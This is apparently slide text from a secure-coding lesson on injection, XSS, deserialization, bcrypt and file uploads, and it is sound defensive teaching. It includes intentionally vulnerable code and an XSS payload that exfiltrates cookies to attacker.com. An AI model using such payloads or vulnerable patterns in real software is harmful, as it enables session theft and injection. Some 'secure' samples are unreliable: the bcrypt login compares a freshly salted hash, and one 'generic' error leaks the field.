

Software Security

Vulnerabilities, Threats, and Secure Coding Practices

Mehdi Lotfinejad

Learning Objectives

By the end of this lesson, you will be able to:

1. **Identify and explain** the most critical security vulnerabilities that threaten modern applications, including injection attacks, broken authentication, and insecure deserialization
2. **Implement input validation and output encoding** techniques to prevent common attack vectors like SQL injection and cross-site scripting (XSS)
3. **Apply secure coding principles** from industry standards (OWASP, NIST) to write code that is resilient against exploitation
4. **Integrate security practices** into your daily development workflow using tools like parameterized queries, secure file handling, and pre-commit hooks

The Reality of Application Security

Critical Statistic: Over 70% of security breaches exploit vulnerabilities in application code rather than infrastructure.

As a developer, YOU are the first line of defense.

Security isn't just about:

- ❌ Firewalls
- ❌ Encryption
- ❌ Network configuration

✅ **It starts with the code you write every day**

Why Software Security Matters

Real-world consequences of security vulnerabilities:

E-commerce Application:

- SQL injection → Access customer data, modify orders, control database

File Upload Feature:

- Improper validation → Upload malicious scripts, compromise server

Authentication System:

- Weak implementation → Account takeover, data breaches

These aren't theoretical risks—they happen daily to applications built by experienced developers who weren't trained in secure coding practices.

What You'll Learn Today

Core Topics:

1. Understanding critical security vulnerabilities
2. Secure coding principles (OWASP, NIST standards)
3. Practical implementation techniques
4. Integrating security into your workflow

Practical Skills:

- Preventing SQL injection in authentication systems
- Safely handling file uploads
- Validating untrusted input from APIs
- Building security into code from the start

Understanding Critical Security Vulnerabilities

Security vulnerability: A weakness in your code that attackers can exploit to compromise your application

While there are hundreds of potential security issues, certain vulnerabilities appear repeatedly and cause the most damage.

We'll focus on the most dangerous ones:

- Injection attacks
- Cross-site scripting (XSS)
- Broken authentication
- Insecure deserialization
- Security misconfiguration

Injection Attacks: The #1 Threat

Definition: Injection attacks occur when untrusted data is sent to an interpreter as part of a command or query.

What happens:

- Attacker's hostile data tricks the interpreter
- Executes unintended commands
- Accesses unauthorized data

Types of injection:

- SQL injection (most common)
- NoSQL injection
- OS command injection
- LDAP injection
- XML injection

SQL Injection: The Classic Vulnerability

```
# ✗ VULNERABLE CODE – Never do this!
def authenticate_user(username, password):
    # Directly inserting user input into SQL query
    query = f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'"
    cursor.execute(query)
    return cursor.fetchone()

# Attacker inputs: username = "admin' --"
# This creates the query:
# SELECT * FROM users WHERE username = 'admin' --' AND password = ''
# The -- comments out the password check!
```

This code treats user input as trusted SQL code. The attacker can inject SQL syntax that changes the query's logic entirely.

How SQL Injection Works

Normal query:

```
SELECT * FROM users  
WHERE username = 'john' AND password = 'secret123'
```

Attacker input: `admin' --`

Resulting query:

```
SELECT * FROM users  
WHERE username = 'admin' --' AND password = ''
```

What happened:

- The `'` closes the username string
- `--` comments out everything after it
- Password check is bypassed completely
- Attacker gains access without knowing the password!

Cross-Site Scripting (XSS)

XSS allows attackers to inject malicious JavaScript into web pages viewed by other users.

What attackers can do:

- Steal session cookies
- Redirect users to phishing sites
- Modify page content
- Keylog user input
- Perform actions as the victim user

Root cause: Displaying user-generated content without proper encoding

XSS: Vulnerable Code Example

```
# ✗ VULNERABLE CODE – Displays user input without encoding
from flask import Flask, request

@app.route('/comment')
def show_comment():
    user_comment = request.args.get('comment')
    # Directly inserting user input into HTML
    return f"<div>User said: {user_comment}</div>"

# Attacker submits:
# <script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>

# This script executes in victims' browsers, sending their
# session cookies to the attacker!
```

Broken Authentication

Authentication vulnerabilities occur when applications implement login, session management, or password recovery incorrectly.

Common mistakes:

1. **Storing passwords in plain text**
2. Using weak session IDs
3. Failing to invalidate sessions after logout
4. Not implementing account lockout
5. Allowing weak passwords
6. Exposing session tokens in URLs

Broken Authentication: Vulnerable Example

```
# ❌ VULNERABLE CODE – Storing passwords in plain text
def create_user(username, password):
    # Never store passwords directly!
    query = "INSERT INTO users (username, password) VALUES (?, ?)"
    cursor.execute(query, (username, password))

# If the database is compromised, all passwords are
# immediately exposed!

# Attackers can use these credentials on other sites
# (credential stuffing attacks)
```

Banking apps miscalculating interest = serious financial consequences. Medical devices with wrong readings = life-threatening situations.

Insecure Deserialization

Deserialization vulnerabilities occur when applications accept serialized objects from untrusted sources without validation.

The risk:

- Attackers craft malicious serialized objects
- When deserialized, these objects execute arbitrary code
- Can lead to complete server compromise

Insecure Deserialization: Vulnerable Example

```
# ✗ VULNERABLE CODE – Deserializing untrusted data
import pickle

def load_user_preferences(serialized_data):
    # pickle.loads() can execute arbitrary code!
    preferences = pickle.loads(serialized_data)
    return preferences

# An attacker can create a malicious pickle object that
# executes system commands when unpickled
# This could lead to complete server compromise
```

Rule: Never deserialize data from untrusted sources using pickle, marshal, or similar functions.

Security Misconfiguration

Many vulnerabilities arise from misconfiguration, not coding errors:

- ✗ Leaving debug mode enabled in production
- ✗ Using default credentials
- ✗ Exposing error messages with stack traces
- ✗ Failing to encrypt sensitive data
- ✗ Not updating dependencies
- ✗ Excessive permissions on files/databases
- ✗ Open cloud storage buckets

Attackers actively scan for these misconfigurations using automated tools.

Secure Coding Principles

Foundation for preventing vulnerabilities:

These principles come from industry standards:

- **OWASP** (Open Web Application Security Project)
- **NIST** (National Institute of Standards and Technology)

By following these principles, you build defense into your code from the start rather than trying to patch security later.

Principle 1: Validate All Input Rigorously

Golden Rule: Every piece of data entering your application should be treated as potentially malicious until proven safe.

This applies to ALL input:


- User forms
- API requests
- File uploads
- Database queries
- Environment variables
- Configuration files

Two components:

1. **Whitelisting:** Accept only known-good input

2. **Type checking:** Ensure data matches expected formats

Input Validation: Email Example

```
#  SECURE CODE – Comprehensive input validation
import re
from typing import Optional


def validate_email(email: str) -> Optional[str]:
    """
    Validates email format using whitelist approach.
    Returns cleaned email or None if invalid.
    """
    # Check type and length first
    if not isinstance(email, str) or len(email) > 254:
        return None

    # Whitelist pattern: only allow valid email characters
    email_pattern = r'^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$'

    if re.match(email_pattern, email):
        return email.lower().strip()
    return None

# Usage
user_email = validate_email(request.form.get('email'))
if user_email is None:
    return "Invalid email format", 400
```

Input Validation: Age Example

```
#  SECURE CODE – Validate age with type checking
def validate_user_age(age_input: str) -> Optional[int]:
    """
    Validates age input with strict type checking.
    Returns integer age or None if invalid.
    """
    try:
        age = int(age_input)
        # Business logic validation: reasonable age range
        if 0 <= age <= 150:
            return age
    except (ValueError, TypeError):
        pass
    return None

# Usage
user_age = validate_user_age(request.form.get('age'))
if user_age is None:
    return "Invalid age", 400
```

Defense in Depth: Input Validation

This code demonstrates multiple layers of protection:

- ✓ **Type checking:** Verify data is the expected type
- ✓ **Format validation:** Use regex whitelists for patterns
- ✓ **Length limits:** Prevent buffer overflows and DoS
- ✓ **Business logic rules:** Apply domain-specific constraints
- ✓ **Safe error handling:** Return `None` instead of raising exceptions

Notice how it returns `None` for invalid input rather than raising exceptions—this prevents information leakage through error messages.

Principle 2: Use Parameterized Queries

Parameterized queries (prepared statements) separate SQL code from data. The database treats parameters as pure data, never as executable code.

Why this works:

- SQL structure is defined separately
- User input is bound as parameters
- Database engine treats parameters as literals
- SQL injection becomes impossible

Available in:

All major databases (PostgreSQL, MySQL, SQL Server, Oracle) and ORMs (SQLAlchemy, Django ORM, Hibernate)

Parameterized Queries: Secure Authentication

```
# ✅ SECURE CODE – Using parameterized queries
import sqlite3

def authenticate_user_secure(username: str, password: str) -> Optional[dict]:
    """
    Securely authenticates user using parameterized query.
    Returns user data or None if authentication fails.
    """
    conn = sqlite3.connect('users.db')
    cursor = conn.cursor()

    # The ? placeholders prevent SQL injection
    # User input is treated as data, never as SQL code
    query = "SELECT id, username, role FROM users WHERE username = ? AND password_hash = ?"

    # Hash the password before comparison
    password_hash = hash_password(password)

    cursor.execute(query, (username, password_hash))
    result = cursor.fetchone()
    conn.close()
```

Parameterized Queries: How They Protect You

```
if result:
    return {
        'id': result[0],
        'username': result[1],
        'role': result[2]
    }
return None
```

```
# Even if an attacker inputs: username = "admin' --"
# The query becomes:
# SELECT ... WHERE username = 'admin' --' AND password_hash = ?

# The single quote is escaped automatically!
# The input is treated as a literal string, not SQL code
```

Parameterized queries are not just more secure—they're often faster because the database can cache query plans.

Principle 3: Encode Output to Prevent XSS

Output encoding transforms special characters into safe representations before displaying user-generated content.

How it works:

- Converts `<` to `<`
- Converts `>` to `>`
- Converts `&` to `&`
- Converts `"` to `"`
- Converts `'` to `'`

Result: Browsers display the text instead of executing it as code

Output Encoding: Secure Implementation

```
#  SECURE CODE – Proper output encoding
from flask import Flask, request, escape
import html

app = Flask(__name__)

@app.route('/comment')
def show_comment():
    user_comment = request.args.get('comment', '')

    # Method 1: Automatic escaping with Flask's escape()
    # Converts < > & " ' to HTML entities
    safe_comment = escape(user_comment)
    return f"<div>User said: {safe_comment}</div>"

@app.route('/profile')
def show_profile():
    user_bio = request.args.get('bio', '')

    # Method 2: Using html.escape() for explicit control
    safe_bio = html.escape(user_bio, quote=True)
    return f"<div class='bio'>{safe_bio}</div>"
```

Output Encoding: The Effect

Attacker submits:

```
<script>alert('XSS')</script>
```

Without encoding (vulnerable):

```
<div>User said: <script>alert('XSS')</script></div>  
<!-- Browser executes the script! -->
```

With encoding (secure):

```
<div>User said: &lt;script&gt;alert('XSS')&lt;/script&gt;</div>  
<!-- Browser displays: <script>alert('XSS')</script> as text -->
```

Modern frameworks like React, Angular, and Vue.js provide automatic encoding, but you must understand the principle to use them correctly.

Context-Specific Encoding

Different contexts require different encoding strategies:

Context	Encoding Type	Example
HTML Body	HTML Entity	<code>&lt;</code> <code>&gt;</code> <code>&amp;</code>
HTML Attribute	HTML Attribute	<code>&quot;</code> <code>&#x27;</code>
JavaScript	JavaScript Escape	<code>\x3C</code> <code>\x3E</code>
URL	URL Encoding	<code>%3C</code> <code>%3E</code>
CSS	CSS Escape	<code>\3C</code> <code>\3E</code>

Using the wrong encoding for the context can still leave you vulnerable!

Principle 4: Secure Password Storage

NEVER store passwords in plain text or use weak hashing algorithms like MD5 or SHA-1.


Use purpose-built password hashing functions:

- Designed to be slow
- Resistant to brute-force attacks
- Include automatic salt generation

Recommended algorithms:

- **bcrypt** (industry standard since 1999)
- **Argon2** (winner of Password Hashing Competition 2015)
- **scrypt** (memory-hard alternative)


Secure Password Hashing with bcrypt

```
#  SECURE CODE – Proper password hashing
import bcrypt
from typing import Tuple

def hash_password(password: str) -> str:
    """
    Hashes password using bcrypt with automatic salt generation.
    bcrypt is intentionally slow to resist brute-force attacks.
    """
    # Generate salt and hash in one step
    # Cost factor of 12 means 2^12 iterations (adjustable for future hardware)
    password_bytes = password.encode('utf-8')
    salt = bcrypt.gensalt(rounds=12)
    hashed = bcrypt.hashpw(password_bytes, salt)
    return hashed.decode('utf-8')

# Example output:
# $2b$12$KIXxkF7QQF8qQqF8qQqF8u...
# ^   ^   ^
# |   |   Salt (automatically stored in the hash)
# |   Cost factor (2^12 iterations)
# Algorithm identifier (bcrypt)
```

Verifying Passwords Securely

```
#  SECURE CODE – Verifying passwords
def verify_password(password: str, stored_hash: str) -> bool:
    """
    Verifies password against stored hash.
    Uses constant-time comparison to prevent timing attacks.
    """
    password_bytes = password.encode('utf-8')
    stored_hash_bytes = stored_hash.encode('utf-8')
    return bcrypt.checkpw(password_bytes, stored_hash_bytes)

def create_user_secure(username: str, password: str) -> bool:
    """Creates user with securely hashed password."""
    # Validate password strength first
    if len(password) < 12:
        raise ValueError("Password must be at least 12 characters")

    password_hash = hash_password(password)

    # Store hash using parameterized query
    query = "INSERT INTO users (username, password_hash) VALUES (?, ?)"
    cursor.execute(query, (username, password_hash))
    return True
```

Why bcrypt is Secure

Key features:

1. **Intentionally slow:** Takes ~100-300ms per password
 - Fast for legitimate users (imperceptible)
 - Extremely slow for attackers trying billions of passwords
2. **Adaptive cost factor:** Can increase difficulty as hardware improves
 - Current recommendation: 12 rounds (2^{12} iterations)
 - Can increase to 13, 14, 15 as computers get faster
3. **Automatic salt:** Each password gets a unique random salt
 - Prevents rainbow table attacks
 - Salt is stored in the hash itself (no separate storage needed)
4. **Battle-tested:** Used successfully for over 20 years


Principle 5: Handle Files Securely

File upload vulnerabilities allow attackers to upload malicious files that can compromise your server.

Secure file handling requires:

1. Validating file types (whitelist)
2. Limiting file sizes
3. Storing files outside the web root
4. Generating random filenames
5. Validating actual file content (not just extension)
6. Scanning for malware

Secure File Upload: Configuration

```
#  SECURE CODE – Secure file upload handling
import os
import uuid
from werkzeug.utils import secure_filename
from pathlib import Path

# Configuration
UPLOAD_FOLDER = '/var/app/uploads' # Outside web root!
ALLOWED_EXTENSIONS = {'png', 'jpg', 'jpeg', 'gif', 'pdf'}
MAX_FILE_SIZE = 5 * 1024 * 1024 # 5 MB

def allowed_file(filename: str) -> bool:
    """
    Validates file extension using whitelist.
    Checks for both extension and proper filename format.
    """
    return ('.' in filename and
            filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS)
```

Secure File Upload: Content Validation

```
def validate_file_content(file_path: str, expected_extension: str) -> bool:
    """
    Validates file content matches extension (prevents MIME spoofing).
    Uses python-magic library to check actual file type.
    """
    import magic
    mime = magic.Magic(mime=True)
    file_mime = mime.from_file(file_path)

    # Map extensions to expected MIME types
    mime_map = {
        'png': 'image/png',
        'jpg': 'image/jpeg',
        'jpeg': 'image/jpeg',
        'gif': 'image/gif',
        'pdf': 'application/pdf'
    }

    expected_mime = mime_map.get(expected_extension)
    return file_mime == expected_mime
```

Secure File Upload: Complete Handler

```
def handle_file_upload(uploaded_file) -> Tuple[bool, str]:
    """
    Securely processes file upload with comprehensive validation.
    Returns (success, message/filepath).
    """
    # Check if file was actually uploaded
    if not uploaded_file or uploaded_file.filename == '':
        return False, "No file selected"

    # Validate file extension
    if not allowed_file(uploaded_file.filename):
        return False, "File type not allowed"

    # Check file size
    uploaded_file.seek(0, os.SEEK_END)
    file_size = uploaded_file.tell()
    uploaded_file.seek(0)

    if file_size > MAX_FILE_SIZE:
        return False, "File too large"
```

Secure File Upload: Sanitization

```
# Generate secure random filename to prevent path traversal
original_extension = uploaded_file.filename.rsplit('.', 1)[1].lower()
random_filename = f"{uuid.uuid4()}.{original_extension}"

# Use secure_filename as additional safety layer
safe_filename = secure_filename(random_filename)
file_path = os.path.join(UPLOAD_FOLDER, safe_filename)

# Save file temporarily for content validation
uploaded_file.save(file_path)

# Validate actual file content matches extension
if not validate_file_content(file_path, original_extension):
    os.remove(file_path) # Delete invalid file
    return False, "File content doesn't match extension"

return True, file_path
```

Defense in Depth: File Upload Security

This implementation demonstrates multiple layers:

- ✓ **Extension whitelist:** Only allow specific file types
- ✓ **File size limit:** Prevent DoS attacks
- ✓ **Random filenames:** Prevent path traversal
- ✓ **Filename sanitization:** Additional safety with `secure_filename()`
- ✓ **Content validation:** Verify actual file type (prevent MIME spoofing)
- ✓ **Storage location:** Outside web root (prevent execution)

Even if an attacker bypasses one layer, others provide protection. If they upload a malicious script, the web server won't execute it because it's outside the web root.

Integrating Security Into Your Workflow

Secure coding isn't just about knowing the right techniques—it's about building security into your daily development process.

Make security automatic, not an afterthought:

1. Pre-commit hooks
2. Automated security scanning
3. Code review checklists
4. Dependency management
5. Security testing in CI/CD

Pre-Commit Hooks: Your Security Seatbelt

Pre-commit hooks run automatically before each commit, catching security issues before they enter your codebase.

Minimal effort for maximum protection—like a security seatbelt!

What they catch:

- Hardcoded secrets (passwords, API keys)
- Dangerous function calls (eval, exec, pickle)
- Known vulnerable patterns
- Security linting issues

Pre-Commit Hook Example

```
#!/bin/bash
# .git/hooks/pre-commit
# This hook prevents committing secrets and runs security checks

echo "Running pre-commit security checks..."

# Check for common secret patterns
if git diff --cached | grep -E '(password|api_key|secret|token)\s*=\s*["\047][^\047]+["\047]'; then
    echo "❌ ERROR: Potential secret detected in commit!"
    echo "Please remove hardcoded secrets and use environment variables."
    exit 1
fi

# Check for common vulnerable patterns
if git diff --cached | grep -E '(eval\(|exec\(|pickle\.loads|yaml\.load\()'; then
    echo "⚠️ WARNING: Potentially dangerous function detected!"
    echo "Review: eval(), exec(), pickle.loads(), yaml.load() can execute arbitrary code"
    exit 1
fi
```

Pre-Commit Hook: Security Linter

```
# Run security linter (bandit for Python)
if command -v bandit &> /dev/null; then
    bandit -r . -ll -q
    if [ $? -ne 0 ]; then
        echo "❌ ERROR: Security issues found by bandit"
        exit 1
    fi
fi

echo "✅ Pre-commit security checks passed!"
exit 0
```

This hook prevents three common mistakes: committing secrets, using dangerous functions, and introducing known vulnerabilities.

Customize it for:

- Your programming language
- Your specific security requirements
- Your team's policies

Code Review Checklist for Security

Every code review should include security considerations.

Input Validation

- [] All user input is validated before use
- [] Validation uses whitelists, not blacklists
- [] Input length limits are enforced
- [] Type checking is performed

Database Security

- [] All queries use parameterized statements
- [] No string concatenation in SQL queries
- [] Database errors don't expose sensitive information
- [] Least privilege principle applied to database users

Security Review Checklist (continued)

Authentication & Authorization

- [] Passwords are hashed with bcrypt/argon2
- [] No passwords in logs or error messages
- [] Session tokens are cryptographically random
- [] Sessions expire after reasonable timeout

Output Encoding

- [] All user-generated content is encoded before display
- [] Correct encoding for context (HTML/JS/URL)
- [] No innerHTML with user data
- [] Content-Security-Policy headers configured

Security Review Checklist (continued)

File Handling

- [] File uploads validate type and size
- [] Files stored outside web root
- [] Filenames are sanitized
- [] File content is validated, not just extension

Secrets Management

- [] **No** hardcoded secrets in code
- [] Environment variables used for configuration
- [] Secrets not committed to version control
- [] Different secrets for dev/staging/production

Use this checklist as a starting point and adapt it to your application's specific needs.

Security Testing Tools

Automated tools catch many issues that manual review might miss.

Essential tools:

- **Bandit** (Python): Finds common security issues in Python code
- **OWASP Dependency-Check**: Scans dependencies for known vulnerabilities
- **Safety** (Python): Checks Python dependencies against security advisories
- **npm audit** (JavaScript): Identifies vulnerable npm packages
- **SonarQube**: Comprehensive code quality and security analysis
- **Snyk**: Finds and fixes vulnerabilities in dependencies and containers

Using Bandit for Python Security

```
# Example: Using bandit for Python security scanning
# Install: pip install bandit

# Run basic scan
# bandit -r ./src

# Run with configuration file
# bandit -r ./src -c .bandit.yml
```

.bandit.yml configuration:

```
tests:
  - B201 # flask_debug_true
  - B301 # pickle
  - B307 # eval
  - B308 # mark_safe
  - B501 # request_with_no_cert_validation
  - B502 # ssl_with_bad_version
  - B602 # shell_injection
  - B608 # hardcoded_sql_expressions

exclude_dirs:
  - /test
  - /venv
```

Integrating Security into CI/CD

Best Practice: Integrate security tools into your CI/CD pipeline so checks run automatically on every pull request.

Benefits:

- Catches issues early (when they're cheapest to fix)
- Prevents vulnerable code from reaching production
- Enforces security standards automatically
- Creates security awareness in the team

Example pipeline steps:

1. Run security linter (bandit, eslint-plugin-security)
2. Scan dependencies (safety, npm audit)
3. Run SAST (Static Application Security Testing)
4. Run unit tests including security test cases



Practical Example: Secure User Registration

Scenario: Building a production-ready user registration system

Requirements:

- Validate email addresses
- Enforce password strength
- Prevent SQL injection
- Store passwords securely
- Handle errors without leaking information

This example demonstrates all secure coding principles working together.

Secure Registration: Class Structure

```
# secure_registration.py – Complete secure user registration system
import re
import bcrypt
import sqlite3
from typing import Optional, Tuple
from dataclasses import dataclass

@dataclass
class RegistrationResult:
    """Encapsulates registration outcome with clear success/failure state."""
    success: bool
    message: str
    user_id: Optional[int] = None

class SecureUserRegistration:
    """
    Handles user registration with comprehensive security measures.
    Demonstrates defense-in-depth approach to application security.
    """

    def __init__(self, db_path: str):
        self.db_path = db_path
        self._initialize_database()
```

Secure Registration: Username Validation

```
def validate_username(self, username: str) -> Tuple[bool, str]:  
    """  
    Validates username using whitelist approach.  
    Returns (is_valid, error_message).  
    """  
    if not isinstance(username, str):  
        return False, "Username must be a string"  
  
    # Length validation  
    if len(username) < 3 or len(username) > 30:  
        return False, "Username must be 3-30 characters"  
  
    # Whitelist pattern: alphanumeric and underscore only  
    # This prevents injection attacks and special character issues  
    if not re.match(r'^[a-zA-Z0-9_]+$', username):  
        return False, "Username can only contain letters, numbers, and underscores"  
  
    return True, ""
```

Secure Registration: Email Validation

```
def validate_email(self, email: str) -> Tuple[bool, str]:
    """
    Validates email format with comprehensive checks.
    Returns (is_valid, error_message).
    """
    if not isinstance(email, str):
        return False, "Email must be a string"

    # Length validation (RFC 5321 maximum)
    if len(email) > 254:
        return False, "Email address too long"

    # Whitelist pattern for email format
    email_pattern = r'^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$'
    if not re.match(email_pattern, email):
        return False, "Invalid email format"

    return True, ""
```

Secure Registration: Password Validation

```
def validate_password(self, password: str) -> Tuple[bool, str]:
    """
    Enforces strong password requirements.
    Returns (is_valid, error_message).
    """
    if not isinstance(password, str):
        return False, "Password must be a string"

    # Minimum length (NIST recommends at least 8, we use 12 for stronger security)
    if len(password) < 12:
        return False, "Password must be at least 12 characters"

    # Check for complexity
    if not re.search(r'[A-Z]', password):
        return False, "Password must contain at least one uppercase letter"
    if not re.search(r'[a-z]', password):
        return False, "Password must contain at least one lowercase letter"
    if not re.search(r'\d', password):
        return False, "Password must contain at least one digit"
    if not re.search(r'[@#$%^&*(),.?":{}|<>]', password):
        return False, "Password must contain at least one special character"

    return True, ""
```

Secure Registration: Main Registration Method

```
def register_user(self, username: str, email: str, password: str) -> RegistrationResult:
    """
    Registers new user with comprehensive validation and secure storage.
    """
    # Step 1: Validate all inputs (defense in depth)
    is_valid, error = self.validate_username(username)
    if not is_valid:
        return RegistrationResult(False, error)

    is_valid, error = self.validate_email(email)
    if not is_valid:
        return RegistrationResult(False, error)

    is_valid, error = self.validate_password(password)
    if not is_valid:
        return RegistrationResult(False, error)

    # Step 2: Normalize inputs to prevent duplicates
    username = username.lower().strip()
    email = email.lower().strip()
```

Secure Registration: User Creation

```
# Step 3: Check for existing users
exists, field = self.user_exists(username, email)
if exists:
    # Generic message to prevent username enumeration
    return RegistrationResult(False, f"Registration failed: {field} already in use")

# Step 4: Hash password securely
password_hash = self.hash_password(password)

# Step 5: Insert user with parameterized query
try:
    conn = sqlite3.connect(self.db_path)
    cursor = conn.cursor()

    # Parameterized query prevents SQL injection
    cursor.execute(
        "INSERT INTO users (username, email, password_hash) VALUES (?, ?, ?)",
        (username, email, password_hash)
    )

    user_id = cursor.lastrowid
    conn.commit()
    conn.close()

    return RegistrationResult(True, "Registration successful", user_id)
```

Secure Registration: Error Handling

```
except sqlite3.IntegrityError:
    # Handle race condition
    return RegistrationResult(False, "Registration failed: user already exists")

except Exception as e:
    # Log the actual error for debugging (not shown to user)
    print(f"Registration error: {str(e)}")
    # Return generic error to prevent information leakage
    return RegistrationResult(False, "Registration failed: please try again")
```

Generic error messages prevent information leakage while detailed errors are logged for debugging.

What Makes This Example Secure

Layered security measures:

1. **Layered validation:** Each input validated independently before database interaction (defense in depth)
2. **Parameterized queries:** All database operations use placeholders (SQL injection impossible)
3. **Secure password storage:** bcrypt with cost factor 12 (protects passwords if database compromised)
4. **Error handling:** Generic error messages prevent information leakage
5. **Input normalization:** Converting to lowercase and trimming prevents duplicate accounts
6. **Type checking:** Explicit type validation prevents unexpected data types

🚫 Common Pitfall 1: Trusting Client-Side Validation

Many developers implement validation in JavaScript and assume that's sufficient. This is DANGEROUS!

Why it's wrong:

- Attackers can bypass client-side validation entirely
- Send requests directly to API using curl, Postman, etc.
- Modify JavaScript in browser
- Disable JavaScript completely

```
# ❌ WRONG: Only client-side validation
@app.route('/register', methods=['POST'])
def register():
    email = request.form.get('email')
    save_user(email) # No server-side validation – DANGEROUS!
```

Pitfall 1: The Right Way

```
# ✅ RIGHT: Always validate on the server
@app.route('/register', methods=['POST'])
def register():
    email = request.form.get('email')
    # Server validates regardless of client-side checks
    if not validate_email(email):
        return "Invalid email", 400
    save_user(email)
```

Best Practice: Client-side validation improves user experience, but server-side validation is mandatory for security. Always validate on the server, even if you validate on the client.

❌ Common Pitfall 2: Using Blacklists

Blacklisting dangerous characters or patterns seems logical but is fundamentally flawed.

Why blacklists fail:

- Attackers constantly discover new bypass techniques
- Can't anticipate every possible attack variation
- Encoding tricks (URL encoding, Unicode)
- Context-specific bypasses
- Case variations

```
# ❌ WRONG: Blacklist approach – easily bypassed
def sanitize_input(user_input):
    dangerous = ['SELECT', 'DROP', 'INSERT', 'DELETE', '--']
    for word in dangerous:
        user_input = user_input.replace(word, '')
    return user_input
# Attacker can use: SeLeCt, SEL/**/ECT, or other variations
```

Pitfall 2: The Right Way

```
# ✅ RIGHT: Whitelist approach – only allow known-good patterns
def validate_username(username):
    # Only allows alphanumeric and underscore
    if re.match(r'^[a-zA-Z0-9_]+$', username):
        return username
    return None
```

Best Practice: Define what is allowed (whitelist) rather than what is forbidden (blacklist). This approach is more secure and easier to maintain.

Common Pitfall 3: Logging Sensitive Information

Developers often log request data for debugging, inadvertently capturing passwords, tokens, or personal information.

The risk:

- Logs can be accessed by attackers
- Logs may be exposed through misconfigured systems
- Logs are often stored long-term
- Logs may be sent to third-party services

```
# ❌ WRONG: Logging sensitive data
@app.route('/login', methods=['POST'])
def login():
    username = request.form.get('username')
    password = request.form.get('password')
    # Password appears in logs!
    logger.info(f"Login attempt: {username}, {password}")
```

Pitfall 3: The Right Way

```
# ✅ RIGHT: Log only non-sensitive information
@app.route('/login', methods=['POST'])
def login():
    username = request.form.get('username')
    password = request.form.get('password')
    # Only log username and outcome
    logger.info(f"Login attempt for user: {username}")
    result = authenticate(username, password)
    logger.info(f"Login result: {'success' if result else 'failed'}")
```

Best Practice: Never log passwords, tokens, credit card numbers, or other sensitive data. Implement log scrubbing to automatically remove sensitive patterns.

Common Pitfall 4: Ignoring Dependency Vulnerabilities

Your code might be secure, but vulnerabilities in third-party libraries can compromise your entire application.

Common mistakes:

- Not regularly updating dependencies
- Not scanning for known vulnerabilities
- Using outdated libraries
- Trusting dependencies blindly

Real-world example:

- Equifax breach (2017): Unpatched Apache Struts vulnerability
- Cost: \$575 million in settlement
- Impact: 147 million people's data exposed

Pitfall 4: The Right Way

Best Practice: Use automated tools to scan dependencies regularly. Set up automated alerts for new vulnerabilities. Include dependency scanning in your CI/CD pipeline.

Tools to use:

```
# Python
pip-audit
safety check

# JavaScript
npm audit
yarn audit

# Multi-language
snyk test
owasp dependency-check
```






Action items:

- Update dependencies promptly
- Review changelogs for security fixes









Comparison: Parameterized Queries vs. ORMs

Parameterized Queries:

-  Maximum control
-  Best performance
-  Fine-grained optimization
-  Manual security consistency
-  More boilerplate code

ORM Frameworks:

-  Automatic parameterization
-  Database portability
-  Reduced boilerplate
-  Consistent security patterns
-  Can generate inefficient queries
-  Learning curve

When to Use Each Approach

Use Parameterized Queries when:

- You need complex queries with specific optimizations
- Working with legacy databases
- Performance is critical
- You have full control over the codebase

Use ORM Frameworks when:






- Starting new projects
- Need rapid development
- Team needs consistent security patterns enforced
- Database portability is important

Best Choice: For most applications, ORMs provide better security by default because they enforce parameterized queries consistently. Use raw queries only when you need specific optimizations.








Comparison: bcrypt vs. Argon2

bcrypt:

-  Battle-tested (since 1999)
-  Excellent library support
-  OWASP recommended
-  Maximum compatibility
-  Less GPU-attack resistant

Argon2:

-  Won Password Hashing Competition (2015)
-  Better GPU resistance
-  Memory-hard algorithm
-  Three variants (i, d, id)
-  Less mature library support

Password Hashing: Best Choice

Both are secure. Choose based on your needs:

Use bcrypt when:

- You need maximum compatibility
- Working with existing systems
- Library support is critical
- You want proven track record

Use Argon2id when:

- Starting new projects
- Need maximum security against GPU attacks
- Modern language/framework support available
- You're building high-security systems

Comparison: Client-Side vs. Server-Side Validation

This isn't an either-or choice—you need BOTH!

Aspect	Client-Side	Server-Side
Purpose	User experience	Security
Technology	JavaScript	Backend language
Can bypass?	Yes, easily	No
Reduces requests?	Yes	No
Mandatory?	No	YES

Best Practice: Use client-side validation for user experience and server-side validation for security. Never trust client-side validation alone.

Key Takeaways

1. Security vulnerabilities in application code cause over 70% of breaches

- Your code is the first line of defense
- Most critical: injection attacks, broken authentication, insecure deserialization
- Understanding these threats is essential for writing secure code

2. Input validation is your first defense layer

- Validate all input rigorously using whitelists
- Check data types, enforce length limits, apply business logic validation
- Never trust any input from users, APIs, files, or databases

3. Parameterized queries make SQL injection impossible

- Always use parameterized queries or prepared statements
- Separate SQL code from data using placeholders
- This single practice eliminates the most dangerous vulnerability class

Key Takeaways (continued)

4. Output encoding prevents XSS attacks

- Encode all user-generated content before displaying it
- Use correct encoding for context (HTML, JavaScript, URL)
- Modern frameworks provide automatic encoding

5. Secure password storage requires purpose-built hashing

- Never store passwords in plain text or use MD5/SHA-256
- Use bcrypt or Argon2 with appropriate cost factors
- These algorithms are intentionally slow with automatic salt generation

6. Defense in depth creates resilient systems

- Layer multiple security controls
- Combine input validation, parameterized queries, output encoding, secure authentication
- Each layer reinforces the others

Key Takeaways (continued)

7. Integrate security into your development workflow

- Use pre-commit hooks to catch secrets and dangerous patterns
- Run automated security scanners in CI/CD pipeline
- Apply security checklists during code reviews
- Make security automatic rather than an afterthought

Remember: Security is not a one-time task—it's an ongoing practice that must be integrated into every aspect of software development.



Practice Quiz: Question 1

You're reviewing code that builds a search query for a product database. Which implementation is secure?

- A) `query = f"SELECT * FROM products WHERE name LIKE '%{search_term}%'"`
- B) `query = "SELECT * FROM products WHERE name LIKE '%" + sanitize(search_term) + "%'"`
- C) `query = "SELECT * FROM products WHERE name LIKE ?"; cursor.execute(query, (f'%{search_term}%',))`
- D) `query = "SELECT * FROM products WHERE name LIKE '%?%'"; cursor.execute(query, (search_term,))`



Answer 1

Correct: C

Explanation:

Option C correctly uses a parameterized query with a placeholder (`?`). The search term is passed as a parameter, and the database treats it as pure data, never as SQL code. The wildcard characters (`%`) are included in the parameter value, which is the correct approach for LIKE queries.

Why others are wrong:

